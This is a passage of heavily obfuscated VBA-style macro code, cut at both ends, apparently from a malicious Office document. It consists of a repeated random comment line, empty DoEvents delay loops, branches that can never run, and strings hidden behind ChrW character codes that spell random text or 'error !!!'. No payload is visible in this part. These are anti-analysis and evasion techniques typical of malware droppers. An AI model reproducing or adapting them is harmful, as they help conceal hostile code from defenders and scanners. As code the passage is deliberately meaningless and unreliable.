  2095. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2096. DoEvents
  2097. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2098. Next zirluxly
  2099. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2100. DoEvents: flrwjwgy = flrwjwgy + 1
  2101. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2102. Dim khvjbsrt As Integer
  2103. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2104. For khvjbsrt = 0 To 6
  2105. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2106. DoEvents
  2107. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2108. Next khvjbsrt
  2109. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2110. Loop
  2111. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2112.  
  2113. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2114. Dim jwbqlfyc As Integer
  2115. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2116. For jwbqlfyc = 0 To 8
  2117. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2118. DoEvents
  2119. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2120. Next jwbqlfyc
  2121. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2122.        MsgBox (ChrW(100) & ChrW(113) & ChrW(105) & ChrW(120) & ChrW(108) & ChrW(117) & ChrW(115) & ChrW(102) & ChrW(53) & ChrW(56))
  2123. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2124. End If
  2125. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2126. If Len(ChrW(109) & ChrW(110) & ChrW(113) & ChrW(109) & ChrW(122) & ChrW(110) & ChrW(117) & ChrW(116) & ChrW(52) & ChrW(50) & ChrW(53) & ChrW(55)) = Len(ChrW(101) & ChrW(103) & ChrW(108) & ChrW(106) & ChrW(110) & ChrW(106) & ChrW(108) & ChrW(114)) Then
  2127. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2128.  
  2129. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2130. Dim fcftmjqh As Integer
  2131. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2132. Dim khwolihx As Integer
  2133. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2134. For khwolihx = 0 To 1
  2135. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2136. DoEvents
  2137. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2138. Next khwolihx
  2139. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2140. fcftmjqh = 8
  2141. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2142. Do While fcftmjqh < 52
  2143. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2144. Dim tjyllcfn As Integer
  2145. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2146. For tjyllcfn = 0 To 8
  2147. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2148. DoEvents
  2149. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2150. Next tjyllcfn
  2151. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2152. DoEvents: fcftmjqh = fcftmjqh + 1
  2153. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2154. Dim rxyfjrdk As Integer
  2155. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2156. For rxyfjrdk = 0 To 9
  2157. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2158. DoEvents
  2159. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2160. Next rxyfjrdk
  2161. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2162. Loop
  2163. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2164.  
  2165. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2166. Dim fjthgijx As Integer
  2167. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2168. For fjthgijx = 0 To 6
  2169. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2170. DoEvents
  2171. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2172. Next fjthgijx
  2173. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2174.       MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33))
  2175. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2176. End If
  2177. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2178.  
  2179. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2180. Dim allpmsst As Integer
  2181. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2182. Dim pshapbkz As Integer
  2183. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2184. For pshapbkz = 0 To 1
  2185. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2186. DoEvents
  2187. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2188. Next pshapbkz
  2189. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2190. allpmsst = 1
  2191. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2192. Do While allpmsst < 86
  2193. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2194. Dim ydmjtthn As Integer
  2195. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2196. For ydmjtthn = 0 To 2
  2197. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2198. DoEvents
  2199. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2200. Next ydmjtthn
  2201. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2202. DoEvents: allpmsst = allpmsst + 1
  2203. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2204. Dim yodkppoh As Integer
  2205. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2206. For yodkppoh = 0 To 8
  2207. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2208. DoEvents
  2209. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2210. Next yodkppoh
  2211. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2212. Loop
  2213. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2214.  
  2215. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2216. Dim klrbhsyk As Integer
  2217. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2218. For klrbhsyk = 0 To 1
  2219. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2220. DoEvents
  2221. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2222. Next klrbhsyk
  2223. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2224.    Set kderacuvhjh = Nothing
  2225. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2226.  
  2227. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2228. If 323796 = 323796 + 1 Then End
  2229. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2230. If 6937 < 35 Then
  2231. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2232.  
  2233. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2234. Dim xcdswmnl As Integer
  2235. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2236. Dim ylkyogwe As Integer
  2237. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2238. For ylkyogwe = 0 To 3
  2239. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2240. DoEvents
  2241. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2242. Next ylkyogwe
  2243. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2244. xcdswmnl = 7
  2245. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2246. Do While xcdswmnl < 72
  2247. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2248. Dim zdeohzis As Integer
  2249. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2250. For zdeohzis = 0 To 5
  2251. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2252. DoEvents
  2253. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2254. Next zdeohzis
  2255. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2256. DoEvents: xcdswmnl = xcdswmnl + 1
  2257. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2258. Dim bedcysdu As Integer
  2259. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2260. For bedcysdu = 0 To 8
  2261. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2262. DoEvents
  2263. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2264. Next bedcysdu
  2265. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2266. Loop
  2267. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2268.  
  2269. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2270. Dim pkihjpvz As Integer
  2271. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2272. For pkihjpvz = 0 To 1
  2273. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2274. DoEvents
  2275. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2276. Next pkihjpvz
  2277. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2278.        MsgBox (ChrW(105) & ChrW(102) & ChrW(121) & ChrW(122) & ChrW(109) & ChrW(118) & ChrW(101) & ChrW(109) & ChrW(52) & ChrW(56))
  2279. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2280. End If
  2281. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2282. If Len(ChrW(98) & ChrW(99) & ChrW(105) & ChrW(111) & ChrW(120) & ChrW(117) & ChrW(108) & ChrW(101) & ChrW(49) & ChrW(50) & ChrW(57) & ChrW(49)) = Len(ChrW(110) & ChrW(122) & ChrW(113) & ChrW(99) & ChrW(114) & ChrW(121) & ChrW(107) & ChrW(111)) Then
  2283. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2284.  
  2285. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2286. Dim yhmznjcg As Integer
  2287. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2288. Dim lgksecwv As Integer
  2289. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2290. For lgksecwv = 0 To 6
  2291. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2292. DoEvents
  2293. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2294. Next lgksecwv
  2295. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2296. yhmznjcg = 2
  2297. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2298. Do While yhmznjcg < 52
  2299. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2300. Dim nvekvajv As Integer
  2301. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2302. For nvekvajv = 0 To 7
  2303. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2304. DoEvents
  2305. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2306. Next nvekvajv
  2307. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2308. DoEvents: yhmznjcg = yhmznjcg + 1
  2309. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2310. Dim ovunjxsa As Integer
  2311. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2312. For ovunjxsa = 0 To 9
  2313. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2314. DoEvents
  2315. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2316. Next ovunjxsa
  2317. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2318. Loop
  2319. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2320.  
  2321. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2322. Dim syatpmaw As Integer
  2323. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2324. For syatpmaw = 0 To 6
  2325. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2326. DoEvents
  2327. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2328. Next syatpmaw
  2329. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2330.       MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33))
  2331. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2332. End If
  2333. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2334.  
  2335. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2336. Dim wuckfswt As Integer
  2337. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2338. Dim epsdezvv As Integer
  2339. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2340. For epsdezvv = 0 To 4
  2341. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2342. DoEvents
  2343. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2344. Next epsdezvv
  2345. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2346. wuckfswt = 9
  2347. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2348. Do While wuckfswt < 35
  2349. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2350. Dim udftoorz As Integer
  2351. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2352. For udftoorz = 0 To 5
  2353. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2354. DoEvents
  2355. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2356. Next udftoorz
  2357. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2358. DoEvents: wuckfswt = wuckfswt + 1
  2359. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2360. Dim zhsgxwgr As Integer
  2361. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2362. For zhsgxwgr = 0 To 5
  2363. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2364. DoEvents
  2365. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2366. Next zhsgxwgr
  2367. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2368. Loop
  2369. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2370.  
  2371. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2372. Dim qfcljidp As Integer
  2373. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2374. For qfcljidp = 0 To 4
  2375. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2376. DoEvents
  2377. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2378. Next qfcljidp
  2379. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2380.      
  2381. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2382.  
  2383. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2384. End Function
  2385. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2386. Sub oknydsjonss()
  2387. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2388. If 122138 = 122138 + 1 Then End
  2389. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2390. If 7979 < 74 Then
  2391. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2392.  
  2393. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2394. Dim naqhdrfi As Integer
  2395. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2396. Dim lxuqroax As Integer
  2397. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2398. For lxuqroax = 0 To 1
  2399. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2400. DoEvents
  2401. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2402. Next lxuqroax
  2403. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2404. naqhdrfi = 7
  2405. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2406. Do While naqhdrfi < 25
  2407. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2408. Dim sqonwnbq As Integer
  2409. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2410. For sqonwnbq = 0 To 2
  2411. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2412. DoEvents
  2413. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2414. Next sqonwnbq
  2415. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2416. DoEvents: naqhdrfi = naqhdrfi + 1
  2417. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2418. Dim mpdifwlf As Integer
  2419. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2420. For mpdifwlf = 0 To 2
  2421. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2422. DoEvents
  2423. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2424. Next mpdifwlf
  2425. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2426. Loop
  2427. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2428.  
  2429. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2430. Dim sivjvgxt As Integer
  2431. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2432. For sivjvgxt = 0 To 5
  2433. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2434. DoEvents
  2435. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2436. Next sivjvgxt
  2437. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2438.        MsgBox (ChrW(101) & ChrW(120) & ChrW(116) & ChrW(121) & ChrW(114) & ChrW(122) & ChrW(102) & ChrW(102) & ChrW(53) & ChrW(54))
  2439. 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq
  2440. End If
